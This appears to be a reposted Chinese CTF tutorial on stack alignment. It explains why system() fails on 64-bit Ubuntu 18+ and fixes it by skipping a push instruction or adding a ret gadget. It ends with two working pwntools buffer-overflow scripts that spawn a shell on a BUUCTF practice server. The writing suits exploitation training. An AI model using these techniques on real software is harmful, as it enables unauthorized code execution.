關於ubuntu18版本以上調用64位程序中的system函數的棧對齊問題


有時候在做64位題目的時候會exp完全沒問題,但就是獲取不了shell。然后通過gdb調試發現是在最后的system函數執行的時候卡住了,然后就滿臉疑惑,這也能卡???

為什么執行system函數要棧對齊

其實啊,64位ubuntu18以上系統調用system函數時是需要棧對齊的。再具體一點就是64位下system函數有個movaps指令,這個指令要求內存地址必須16字節對齊,如果你到system函數執行的時候,si單步進去就會發現,如果沒對齊的話,最后就會卡在這里(如下圖)。

對齊?怎么才算對齊?

因為64位程序的地址是8字節的,而十六進制又是滿16就會進位,因此我們看到的棧地址末尾要么是0要么是8。如下圖

只有當地址的末尾是0的時候,才算是與16字節對齊了,如果末尾是8的話,那就是沒有對齊。而我們想要在ubuntu18以上的64位程序中執行system函數,必須要在執行system地址末尾是0。

下面兩個圖,分別是沒對齊和對齊的情況。

如果執行system的時候沒有對齊怎么辦?

如果執行了一個對棧地址的操作指令(比如pop,ret,push等等,但如果是mov這樣的則不算對棧的操作指令),那么棧地址就會+8或是-8為使rsp對齊16字節,核心思想就是增加或減少棧內容,使rsp地址能相應的增加或減少8字節,這樣就能夠對齊16字節了。因為棧中地址都是以0或8結尾,0已經對齊16字節,因此只需要進行奇數次pop或push操作,就能把地址是8結尾的rsp變為0結尾,使其16字節對齊。

這時候有兩種解決方法。

1、去將system函數地址+1,此處的+1,即是把地址+1,也可以理解為

+1是為了跳過一條棧操作指令(我們的目的就是跳過一條棧操作指令,使rsp十六字節對齊跳過一條指令,自然就是把8變成0了)。但又一個問題就是,本來+1是為了跳過一條棧操作指令,但是你也不知道下一條指令是不是棧操作指令,如果不是棧操作指令的話(你加一之后有可能正好是mov這種指令,也有可能人家指令是好幾個字節,你加一之后也沒有到下一個指令呢),+1也是徒勞的,要么就繼續+1,一直加到遇見一條棧操作指令為止(看別的師傅說最大加16次就能成功,不過我不知道為啥)

可以看見本來我們應該是用401186這個地址的,但是我們現在要跳過一條指令,那自然就是用401187,這樣就跳過了push rbp這條指令。

2、直接在調用system函數地址之前去調用一個ret指令。因為本來現在是沒有對齊的,那我現在直接執行一條對棧操作指令(ret指令等同於pop rip,該指令使得rsp+8,從而完成rsp16字節對齊),這樣system地址所在的棧地址就是0結尾,從而完成了棧對齊。

因此payload有兩種改法(下面我是以BUUCTF上的rip題目的exp為例)。

from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401186+1)+p64(0)#加1去跳過一個棧操作指令,使其對齊16字節
#p.recvuntil("please input")#這里用recvuntil會報連接超時,因為nc上去發現服務器那邊的程序上沒有打印這句話
p.sendline(payload)
p.interactive()
from pwn import *
p=remote("node4.buuoj.cn",28002)
payload=23*'A'+p64(0x401016)+p64(0x401186)+p64(0)#0x401016是一個ret指令, p64(0)是system函數的返回地址
p.sendline(payload)
p.interactive()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM